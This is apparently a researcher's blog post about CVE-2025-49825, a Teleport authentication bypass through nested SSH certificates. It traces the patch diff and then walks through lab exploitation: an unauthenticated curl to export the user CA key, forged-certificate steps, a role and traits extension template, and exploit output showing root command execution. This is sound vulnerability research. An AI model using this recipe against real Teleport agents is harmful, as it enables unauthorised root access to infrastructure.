CVE-2025-49825 is the authentication bypass vulnerability in Teleport, disclosed in June 2025 by Teleport security engineers. Recently I’ve conducted an engagement where Teleport was used in the target infrastructure. This led to a small investigation on the vulnerability, root cause and exploitation. As previously detailed information was not published (at least to my knowledge) - I’d like to share some results of this work.
What is Teleport
In this blogpost I will talk about Teleport software available at https://github.com/gravitational/teleport. Simply put, Teleport is an open-source solution for secure infrastructure access. It provides means to authenticate, authorize and connect to various remote assets in a centralized and auditable way. It supports a lot of nice features to improve the infrastructure security, such as MFA, SSO, session sharing, infrastructure management and others.
What kind of assets can you access through Teleport? Some examples:
- SSH nodes
- Kubernetes clusters
- Databases
- Web apps
- Windows & Linux servers in general
Centralized access to the sensitive infrastructure assets? Sounds interesting. Let’s see now what the vulnerability was about.
Finding the bug
We start with CVE and the following advisory: https://github.com/gravitational/teleport/security/advisories/GHSA-8cqv-pj7f-pwpc
Teleport security engineers identified a critical security vulnerability that could allow remote authentication bypass of Teleport.
...
For the full mitigation, we require you to upgrade both Proxy and Teleport agents.
This is an interesting part. In a nutshell, Teleport has two components: proxy and agent. Proxy is the server which provides access to the managed asset (infrastructure resource). The agent runs on the asset, connects it to Teleport proxy and allows the asset to be managed by proxy. The complete architecture description can be found here: https://goteleport.com/docs/core-concepts/. If the advisory states that both proxy and agent upgrade is required for the full mitigation - I would assume that the vulnerability can be exploited if either component is not patched. Finding an outdated agent in the internal infrastructure is more likely than proxy in my experience, so that’s good news for us.
Then we have the fixed versions list:
Fixed in versions: 17.5.2, 16.5.12, 15.5.3, 14.4.1, 13.4.27, 12.4.35.
Let’s find the correct commit, luckily the source code is available. I’ve found the following pull request: https://github.com/gravitational/teleport/pull/56250 - Avoid counterproductive checks in IsUserAuthority and IsHostAuthority, which is obviously relevant to the authentication bypass:
This PR removes the special handling for *ssh.Certificate authorities in the IsHostAuthority and IsUserAuthority callbacks used by x/crypto/ssh.CertChecker as it's a condition that should never happen anyway, and can lead to accepting invalid credentials as legitimate.
Commit review quickly leads us to lib/srv/authhandlers.go, which is related to authentication. These are the important diffs.


IsUserAuthority function checks the issuer of a user certificate a client presents to the agent and verifies it is signed by Teleport User CA key. This guarantees that certificate used for authentication originates from the Teleport proxy (trusted CA) which already handled the authentication of the user. Looking at authorityForCert function (called from IsUserAuthority to conduct the check) we see that if the certificate was signed by an unknown authority - access is denied.
1029 // the certificate was signed by unknown authority
1030 if ca == nil {
1031 return nil, trace.AccessDenied("the certificate signed by untrusted CA")
1032 }
Looking back at authorityForCert diff, we see that a switch case block was removed, which rings a bell. The function determines which Teleport CA (of a given caType: “user” or “host”) matches the signing authority of the supplied SSH key.
for _, checker := range checkers {
// if we have a certificate, compare the certificate signing key against
// the ca key. otherwise check the public key that was passed in. this is
// due to the differences in how this function is called by the user and
// host checkers.
switch v := key.(type) {
(1) case *ssh.Certificate:
(2) if apisshutils.KeysEqual(v.SignatureKey, checker) {
ca = cas[i]
break
}
(3) default:
(4) if apisshutils.KeysEqual(key, checker) {
ca = cas[i]
break
}
}
}
The presented material (SSH key) is compared against the retrieved CA checkers (2, 4). We see that the vulnerable code version supported two different SSH key types (1, 3). Case (1) was removed to patch the bug.
So what is case *ssh.Certificate ? Let’s get back to the definition of SSH certificate, that is passed to the Teleport agent during the authentication: ssh.Certificate: https://github.com/golang/crypto/blob/master/ssh/certs.go#L72
// An Certificate represents an OpenSSH certificate as defined in
// [PROTOCOL.certkeys]?rev=1.8. The Certificate type implements the
// PublicKey interface, so it can be unmarshaled using
// ParsePublicKey.
type Certificate struct {
Nonce []byte
Key PublicKey
Serial uint64
CertType uint32
KeyId string
ValidPrincipals []string
ValidAfter uint64
ValidBefore uint64
Permissions
Reserved []byte
SignatureKey PublicKey
Signature *Signature
}
SignatureKey is the public key of the CA that signed this cert and Signature is the actual cryptographic signature. The SignatureKey is passed to IsUserAuthority during client verification to verify that known Teleport CA signed the certificate. However, SignatureKey can be another ssh.Certificate instead of raw CA public key! If that’s the case - it is unwrapped at (2) - embedded v.SignatureKey is retrieved and verified with checker. What’s wrong with that?
The expected scenario is:
cert.SignatureKey- Teleport User CA Public Keycert.Signature- Signed by real Teleport User CA Private Key- To make valid certificate - Attacker needs to compromise Teleport User CA Private Key
The exploit scenario has a nested certificate. Outer certificate (cert) is the certificate presented to SSH agent and inner certificate (innerCert) is the one assigned to cert.SignatureKey:
cert.SignatureKey- assigned to inner certificateinnerCert *ssh.Certificateforged by attackercert.Signature- valid and signed byinnerCert.Keyprivate key partinnerCert.Key- attacker’s public key (the one that will be used for real signature)innerCert.SignatureKey- Teleport User CA Public Key
From https://github.com/golang/crypto/blob/master/ssh/certs.go#586 we see that signature is verified using the embedded certificate Key, not SignatureKey.
// Verify verifies a signature against the certificate's public
// key. It is part of the PublicKey interface.
func (c *Certificate) Verify(data []byte, sig *Signature) error {
return c.Key.Verify(data, sig)
}
In the exploit scenario the cert.Signature is still valid because innerCert.Key is used for verification, but the attacker can also pass IsUserAuthority check by specifying arbitrary innerCert.SignatureKey.
So to exploit the vulnerability and access the Teleport node:
- Retrieve real Teleport User CA public key in the infrastructure to forge
innerCertand passIsUserAuthoritycheck. - Generate attacker’s keypair.
- Forge inner certificate
innerCert. - Forge outer certificate
cert. - Sign outer certificate with attacker’s private key (
innerCert.Keyis the attacker’s public key). - Connect to the vulnerable Teleport agent with the malicious
cert.
Exploitation
For the lab I spun up a Teleport server (v16.5.18 - vulnerability fixed) and vulnerable Teleport agent (v16.5.11).
It is possible to retrieve the Teleport User CA public key without authentication by hitting the following endpoint:
$ curl -sk https://<teleport-server>/webapi/auth/export?type=user
cert-authority ssh-rsa AA...s20d clustername=vuln-lab&type=user
This public key should be used as SignatureKey value for innerCert.
By default, Teleport SSH agent is available at
ssh_service:
enabled: true
listen_addr: 0.0.0.0:3022
After successfully generating malicious certificate and trying to connect - I got the following logs on my target server:
Jan XX XX:XX:XX teleport-target teleport[19210]: 2026-01-XXTXX:XX:XX.XXXX DEBU [NODE] Successfully authenticated fingerprint:ssh-rsa-cert-v01@openssh.com SHA256:ya...2I local:192.168.71.136:3022 remote:192.168.71.1:50389 user:root srv/authhandlers.go:408
Jan XX XX:XX:XX teleport-target teleport[19210]: 2026-01-XXTXX:XX:XX.XXXX DEBU [NODE] Checking permissions for (root,root) to login to node with RBAC checks. srv/authhandlers.go:593
Jan XX XX:XX:XX teleport-target teleport[19210]: 2026-01-XXTXX:XX:XX.XXXX ERRO [NODE] Permission denied: user root@vuln-lab is not authorized to login as root@vuln-lab: access to node denied. User does not have permissions. Confirm SSH login. fingerprint:ssh-rsa-cert-v01@openssh.com SHA256:ya...2I local:192.168.71.136:3022 remote:192.168.71.1:50389 user:root srv/authhandlers.go:458
The logs confirmed that exploitation was successful (Successfully authenticated) but I failed Teleport RBAC. Teleport used the KeyId as the username for RBAC checks and the KeyId root I used in the forged certificate did not exist in Teleport RBAC.
This is where you just get the Teleport user you want to login as and use it in your certificate, e.g. admin in my lab:
user@teleport-server:~$ sudo tctl get users/admin
kind: user
metadata:
name: admin
revision: 8a9ab3a4-908f-460d-99ff-206a6c39c4af
spec:
...
roles:
- editor
- access
...
logins:
- root
- lab
In a real exploitation scenario, you need to find this information somehow. In my experience you can find Teleport debug output shared in corporate Slack or other apps - 99% you will find the Teleport users with available roles and logins there.
With the adjusted exploit version - I managed to pass the RBAC checks - but still did not get my command execution. The last barrier were Teleport extensions and traits. Traits are additional attributes of the authenticated user. You can read the documentation at: https://goteleport.com/docs/reference/access-controls/roles/.

Long story short - the traits need to be embedded into the certificate extension and SSH agent checks for these traits during authentication. Embed them into ssh.Certificate.Permissions - leaving this as an exercise for the reader. You can use the following template:
extensions := map[string]string{
"login-ip": "127.0.0.1",
"permit-agent-forwarding": "",
"permit-port-forwarding": "",
"permit-pty": "",
"private-key-policy": "none",
"teleport-roles": rolesJSON,
"teleport-route-to-cluster": *cluster,
"teleport-traits": teleportTraits,
}
In the end I got the root access to the target server:
$ ./exploit -target 192.168.71.136:3022 -ca-file user-ca.pub -cmd "id"
[+] Authenticated as Teleport user: admin
[+] SSH login: root
[*] Executing command: id
uid=0(root) gid=0(root) groups=0(root)
This was an interesting bug to investigate and nice addition to the exploits collection! There are other nuances though related to exploitation based on the particular Teleport set up - let’s leave them for the next time.